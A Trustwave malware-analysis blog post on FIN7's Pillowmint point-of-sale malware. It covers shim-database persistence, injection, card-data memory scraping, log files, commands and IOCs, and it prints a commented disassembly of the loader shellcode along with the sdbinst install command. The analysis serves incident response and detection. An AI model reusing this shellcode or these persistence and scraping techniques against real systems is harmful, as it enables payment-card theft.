Pillowmint: FIN7's Monkey Thief

Share:

Stay Informed:

Subscribe

RESEARCH REPORT

Facebook Malvertising Epidemic – Unraveling a Persistent Threat: SYS01 →

June 20, 2020

7 Minute Read

by Rodel Mendrez

In this blog, we take an in-depth technical look at Pillowmint malware samples received from our incident response investigations. Pillowmint is point-of-sale malware capable of capturing Track 1 and Track 2 credit card data. We came across Pillowmint a couple of times in the last year and there is not much information around on it. The malware has been attributed to the FIN7 group that has been actively attacking the hospitality and restaurant industry for the past three years. This is a notorious financially-motivated cybercriminal group also referred to as the Carbanak group, after the Carbanak malware which it has used in the past.

Analysis: Installation

Pillowmint is usually installed through a malicious shim database which allows the malware to persist in the system.

Shim databases are used by Windows Application Compatibility Framework - created by Microsoft so that legacy Windows applications will still work on newer Windows operating systems. This is done by overlaying code to a target process which is usually a legacy application. This will enable that application to run in a Windows operating system environment that is not designed for. A more elaborate explanation of shimming has been published in a Tech Community article from Microsoft.

By installing a malicious shim an attacker can leverage this Windows feature and use it to gain persistence in a compromised system.

```
sdbinst.exe -q -p  sdb4F19.sdb

Where sdb4F19.sdb is the malicious shim database
```

To install a malicious shim database, the attacker invokes a Microsoft utility called sdbinst.exe through a PowerShell script. For example:

When the malicious shim database is registered, the SDB file is copied to the shim database path at %windir%\AppPatch\Custom\Custom64\{GUID.sdb}. The shim database is also added to the Window's Application Compatibility Program Inventory and a registry key created HKLM\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\services.exe Value Name: {GUID}.sdb

Below is an example XML dump of the shim database. The PATCH_BITS element contains a type field 'hex'. This chunk of hexadecimal data contains the SHELLCODE and the relative virtual address (RVA) in the target process where the code is to be patched. The target Windows application in this case is **services.exe.**

The relative virtual address (RVA) in services.exe that the malware will be patching is at RVA 0x0000F93B. This is the RVA of services.exe!ScRegisterTCPEnpoint function. This will cause the malware shellcode to execute when the aforementioned services.exe function is called.

Basically, the shellcode's main purpose is to launch other code stored in the registry key \REGISTRY\SOFTWARE\Microsoft\DRM. Below is the disassembled shellcode and commentaries for interested readers.

```
;API hashes
%define RtlInitUnicodeString 0xb67242fd
%define NtQueryValueKey 0x50df3b21
%define NtAllocateVirtualMemory 0x69a0287f
%define NtFreeVirtualMemory 0x69a0287f
%define NtClose 0x9bd4442f
%define NtOpenKey 0xed686dc1

%define NtCurrentProcess 0xFFFFFFFFFFFFFFFF

; stack variables
%define ObjAttr 0x0f
%define hKey 0x7f
%define BufLen 0x67
%define Buf 0x77
%define RegionSize 0x19

main:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x47] ; set new frame
sub rsp, 0x90 ; allocate some stack space 0x49 (0x90-0x47)
xor edi, edi

mov ecx, RtlInitUnicodeString ; find RtlInitUnicodeString
mov qword ptr [rbp + 0x6f], 0x34 ; var_0x6f = 0x34
mov [rbp + BufLen], edi ; BufLen = 0
call GetProcAddressByHash
mov rbx, rax ; rbx = RtlInitUnicodeString
```

```
call setupData ; rax = L"\REGISTRY\MACHINE\Microsoft\DRM"

; x64 fastcall rcx, rdx, r8, r9
lea rcx, [rbp-1] ; UNICODE_STRING regPath
mov rdx, rax ; rdx = L"\REGISTRY\MACHINE\Microsoft\DRM"
call rbx ; RtlInitUnicodeString(&tmpVar, L"\REGISTRY...")

lea rax, [rbp-1] ; rax=®Path
lea ebx, [rdi+0x40] ; ebx=attr
mov ecx, NtOpenKey
call GetProcAddressByHash ; NtOpenKey

; NtOpenKey(keyHandle=rcx, desiredAccess=rdx, objAttr=r8);
lea r8, [rbp + ObjAttr] ; objAttr (0x0f)
lea rcx, [rbp + hKey] ; hKey (0x7f)

; OBJECT_ATTRIBUTES objAttr; // sizeof(OBJECT_ATTRIBUTES) 24
; objAttr.Length = 0x30; // +0 sizeof(OBJECT_ATTRIBUTES)
; objAttr.RootDirectory = HANDLE; // +8
; objAttr.ObjectName = ®Path; // +10 UNICODE_STRING
; objAttr.Attributes = attr; // +18 ULONG
; objAttr.SecurityDescriptor = NULL; // +20
; objAttr.SecurityQualityOfService = NULL; // +28

mov dword ptr [rbp + ObjAttr], 0x30 ; Length: sizeof(OBJECT_ATTRIBUTES) (0x0f)
mov [rbp + ObjAttr + 0x8], rdi ; RootDirectory
mov [rbp + ObjAttr + 0x18], ebx ; Attributes
mov [rbp + ObjAttr + 0x10], rax ; ObjectName
mov [rbp + ObjAttr + 0x20], rdi ; SecurityDescriptor
mov [rbp + ObjAttr + 0x28], rdi ; SecurityQualityOfService

mov edx, 0x20019 ; desiredAccess
call rax ; NtOpenKey
```

```
test eax, eax ; check return value of NtOpenKey
js end ; if < 0 goto end

mov ecx, NtQueryValueKey ; find NtQueryValueKey function
call GetProcAddressByHash ; rax = NtQueryValueKey

; NtQueryValueKey(hKey=rcx, valueName=rdx, keyValueInfoClass=r8,
; keyValueInfo=r9, length=stack, resultLength=stack)

lea rcx, [rbp + BufLen] ; rcx = &bufLen (0x67)
lea r8d, [rdi + 2]
mov [rsp + 0x28], rcx ; [rsp + 0x28] = [rbp + 0x67]
mov rcx, [rbp + hKey] ; hKey
lea rdx, [rbp - 0x11] ; valueName
xor r9d, r9d ; keyValueInfo = 0
mov [rsp + 0x20], edi ; length?? (edi should be 4)
call NtQueryValueKey

mov r11d, [rbp + BufLen] ; r11d = resultLength
test r11d, r11d ; if resultLength == 0:
jz closekey ; goto closekey

mov ecx, NtAllocateVirtualMemory
mov [rbp + Buf], rdi
mov [rbp - RegionSize], rdi
call GetProcAddressByHash ; find NtAllocateVirtualMemory

; NtAllocateVirtualMemory(hProc=rcx, baseAddress=rdx, zeroBits=r8,
; regionSize=r9, allocType=stack1, protect=stack2)
lea r9, [rbp - RegionSize] ; regionSize: r9 = [rbp - 0x19]
lea rdx, [rbp + Buf] ; baseAddress: rdx = pBuf
xor r8d, r8d ; zeroBits: r8 = 0
or rcx, NtCurrentProcess ; hProc: rcx = NtCurrentProcess
mov [rsp + 0x28], ebx ; protect
mov dword ptr [rsp + 0x20], 0x3000 ; allocType: MEM_COMMIT | MEM_RESERVE
```

```
call rax ; NtAllocateVirtualMemory

test eax, eax ; if NtAllocateVirtualMemory() < 0
js closekey ; goto closekey

mov rbx, [rbp + Buf] ; baseAddr: rbx = pBuf
test rbx, rbx ; if pBuf == 0:
jz closekey ; goto closekey

; Query key again now that we have allocate buffer
mov ecx, NtQueryValueKey
call GetProcAddressByHash

; NtQueryValueKey(hKey=rcx, valueName=rdx, keyValueInfoClass=r8,
; keyValueInfo=r9, length=stack1, resultLength=stack2)
lea rcx, [rbp + BufLen] ; length
lea r8d, [rdi + 2]
mov [rsp + 0x28], rcx ; length
mov ecx, [rbp + BufLen] ; resultLength
lea rdx, [rbp - 0x11] ; valueName
mov [rsp + 0x20], ecx ; resultLength
mov rcx, [rbp + hKey] ; hKey
mov r9, rbx ; keyValueInfo

call rax ; NtQueryValueKey

test eax, eax ; if NtQueryValueKey() < 0:
js closekey ; goto closekey

mov rax, [rbp + Buf] ; rax = pData
add rax, 0x30 ; call pData[0x30]
call rax ; execute pData[0x30]

; cleanup
mov ecx, NtFreeVirtualMemory
mov [rbp + BufLen], edi ; dataLength
call GetProcAddressByHash

lea r8, [rbp + BufLen] ; dataSize
lea rdx, [rbp + Buf] ; pData
mov r9d, 0x8000 ; MEM_RELEASE
or rcx, 0xFFFFFFFFFFFFFFFF ; NtCurrentProcess

; NtFreeVirtualMemory(hProc=rcx, baseAddr=rdx, regionSize=r8, freeType=r9)
call rax

closekey:
mov ecx, NtClose
call GetProcAddressByHash
mov rcx, [rbp + hKey] ; hKey
call rax ; NtClose(hKey)

end:
xor eax, eax
add rsp, 0x90
pop rdi
pop rbx
pop rbp
retn

setupdata:
nop
nop
nop
call getdataaddr ; return Data in rax

Data:
reg db '\', 0, 'R', 0, 'E', 0, 'G', 0, 'I', 0, 'S', 0, 'T', 0, 'R', 0, 'Y', 0,
db '\', 0, 'M', 0, 'A', 0, 'C', 0, 'H', 0, 'I', 0, 'N', 0, 'E, 0,
db '\', 0, 'S', 0, 'O', 0, 'F', 0, 'T', 0, 'W', 0, 'A', 0, 'R', 0, 'E' 0,
db '\', 0, 'M', 0, 'i', 0, 'c', 0, 'r', 0, 'o', 0, 's', 0, 'o', 0, 'f', 0, 't'
0,
db '\', 0, 'D', 0, 'R', 0, 'M'
db 0, 0


getdataaddr:
pop rax ; save ret address in rax
retn
```

As mentioned, the registry key (HKLM\SOFTWARE\Microsoft\DRM) is where the malicious payload is stored. In this case, this is the Pillowmint Trojan. Pillowmint is stored and compressed in the registry key. In order to decompress and launch it, small shellcode is executed to decompress and allocate it into the parent process memory space. Execution is then transferred to the payload.

Payload: Pillowmint

Pillowmint injects its code to svchost.exe, but instead of using commonly monitored syscalls such as VirtualAlloc and WriteProcessMemory, It uses a mapping injection technique that utilizes CreateMapping, MapViewOfFIle, NtQueueApcThread, ResumeThread, CreateRemoteThread syscalls for stealthier process injection.

This malware is capable of logging its own activity. This log is dropped in the path: "%WinDir%\System32\MUI" or “%WinDir%\System32\Sysvols” depending on the variant and it uses the file name *log.log*. It has 8 different levels of logging:

Level 0 - No logging
Level 1 (CRITICAL) - it logs only critical activities such as exceptions, this is logged to the file named "critical.log" in the path "%WinDir%\<system32 or sysnative>\sysvols"

Example content of critical.log

```
context:
RIP: 0x7FEEC83F51B
RAX: 0x3F
RCX: 0x0
RDX: 0x0
RBX: 0x7FEEC830000
RDI: 0x0
RSI: 0x0
RBP: 0x2CF728
RSP: 0x2CEF30
exception info:
ExceptionCode: C0000005
ExceptionFlags: 0
ExceptionAddress: 7FEEC83F51B
module info: EC830000
startWithProxy: executing SEH __except block for <dll>
```

Level 2 (ERROR) - errors encountered
Level 3 (WARNING) - logs a warning when thread handle is empty
Level 4 (INFO) - log all information such malware's version number, thread information, command executed, process where credit card data was found. The log is written to the file log.log in in the path "%WinDir%\<system32 or sysnative>\sysvols"

Example content of log.log with level 4 logging:

```
LOGGER_LEVEL_INFO TS1528942911 <DATE>
 New process found: <ProcessName>.exe
LOGGER_LEVEL_INFO TS1528942911 <DATE>
 Dumping threads for <ProcessName>.exe
```

```
LOGGER_LEVEL_INFO TS1528942911 <DATE>
 thread 0 (C:\Windows\SYSTEM32\ntdll.dll) address = 181504
LOGGER_LEVEL_INFO TS1528942911 <DATE>
 New location found: <ProcessName>.exe + 1a31b in the process
<ProcessName>.exe
LOGGER_LEVEL_INFO TS1528942911 <DATE>
 1 new stuff written
LOGGER_LEVEL_INFO TS1528942911 <DATE>
 New process found: <ProcessName>.exe
LOGGER_LEVEL_INFO TS1528942912 <DATE>
 New process found: <ProcessName>.exe
```

Level 5 (DEBUG_INFO) - this level of logging includes the tool help snapshot value and the pid e.g.

```
LOGGER_LEVEL_DEBUG_INFO TS1528949889 <DATE>
 updateProcessesList
LOGGER_LEVEL_DEBUG_INFO TS1528950004 <DATE>
 TH32CS: 87, pid: 228
```

Level 6 (DEBUG) - not used
Level 7 (TRACE) - not used
Level 8 (UNKNOWN) - not used

Memory Scraper

There are two versions that we have encountered so far. Depending on the Pillowmint version, the malware may contain three main threads. The older version has three threads:

1. Memory Scraper

2. Process list updater
3. Process command

Thread 1: Credit Card Data - Memory Scraper

This thread first sleeps for 10 seconds before a call back to the thread's main function.

Like any other typical PoS malware, Pillowmint iterates a list of processes and process them two at a time. it uses the API OpenProcess() using the PROCESS_VM_READ and PROCESS_QUERY_INFORMATION flags to obtain a handle then reads the memory's content via ReadProcessMemory() API two chunks at a time. It then captures Track 1 and Track 2 credit card (CC) data. Depending on the Pillowmint version, it may encrypt the stolen CC data with AES encryption algorithm + Base64. Other versions may just encode the plain Credit Card Data it with Base64. This is then written to a file named "ldb_e.log" in Windows System directory.

The AES key used for encryption is also obscured and may be decoded with a simple algorithm:

```
decode_byte = encoded_byte –(index * 3) - 2
```

Track 1 and Track 2 data are verified using the Luhn Algorithm

Thread 2: Update Process List

Every 6 seconds the malware iterates through running processes and updates its list for it to capture later on:

Thread 3: Process Commands

The older version we investigated came with remnants of command and control functionality. This third thread reads for attacker's command from either a registry key:

```
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
command  = <command>
```

or from a file:

```
%WinDir%\<system32 or sysnative>\sysvols\commands.txt
```

There are only two commands:

Command 1

s: or S: - terminate malware process

```
    if ( pCommand[1] == ':' && !((*pCommand - 0x53) & 0xDF) )// if command is "s:" or "S:" then uninstall
    {
      output.capacity = 15i64;
      output.len = 0i64;
```

```
          output.buf[0] = 0;
          F7_StrAssign(&output, "exit requested...", 0x11ui64);
```

This command also uninstalls a service named "IntelDevMonServer" and deletes a file from the path %APPDATA%\Intel\devmonsrv.exe. This file however was not installed by the malware. It is probably a code remnant from the original malware source, left by the malware author.

Command 2

crash - simulate crash

As the name implies, it simulates its own process to crash.

```
        pcrash = aCrash[crashLen++];
         if ( pcrash != pCommand[crashLen - 1] )
           break;
         if ( crashLen == 6 )
         {
           logString.capacity = 15i64;
           logString.len = 0i64;
           logString.buf[0] = 0;
           F7_StrAssign(&logString, "simulating crash", 0x10ui64);
           EnterCriticalSection(&CriticalSection);
```

Final remarks

An analogy is that Pillowmint is like a monkey thief. It just grabs all the money from the victim and places the stolen goods to one side, to be later collected by the criminal. Pillowmint doesn’t exfiltrate its stolen credit card data log files. This makes sense because usually attackers already have complete control of the compromised system and the data is exfiltrated by other malicious applications installed by the attacker. However, the downside is that this leaves a footprint that an investigator can later easily discover.

Although the use of a shim database for persistence in a compromised system is not new, it is rare to find malware that uses this method. FIN7 actors have used creative techniques and sophisticated attacks in the past, and this demonstrates it again.

IOCs

Sample 1: 632BD550540C822059576FB25EA7E82CFD51823BD26B95723899FC8E123C1DEA

Sample 2: F59E443DCAA2D92277D403FFE57A639CADF46932E61F33297A68BE025EC5A137

Folders: "%WinDir%\System32\MUI\ "

"%WinDir%\System32\Sysvols\ "

Registry Key:

HKLM\REGISTRY\SOFTWARE\Microsoft\DRM

ABOUT TRUSTWAVE

Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Trustwave®

2024 Trustwave Risk Radar Report: Cyber Threats to the Retail Sector →

Hooked by the Call: A Deep Dive into The Tricks Used in Callback Phishing Emails →

How Threat Actors Conduct Election Interference Operations: An Overview →

Related Offerings

Penetration Testing

Digital Forensics & Incident Response

Threat Intelligence as a Service

Threat Hunting

Discover how our specialists can tailor a security program to fit the needs of your organization.

Request a Demo

Stay Informed

Sign up to receive the latest security news and trends straight to your inbox from Trustwave.

Business Email*

Subscribe

Leadership Team

Our History

News Releases

Media Coverage

Careers

Global Locations

Awards & Accolades

Trials & Evaluations

Contact

Support

Security Advisories

Software Updates

Legal

Terms of Use

Privacy Policy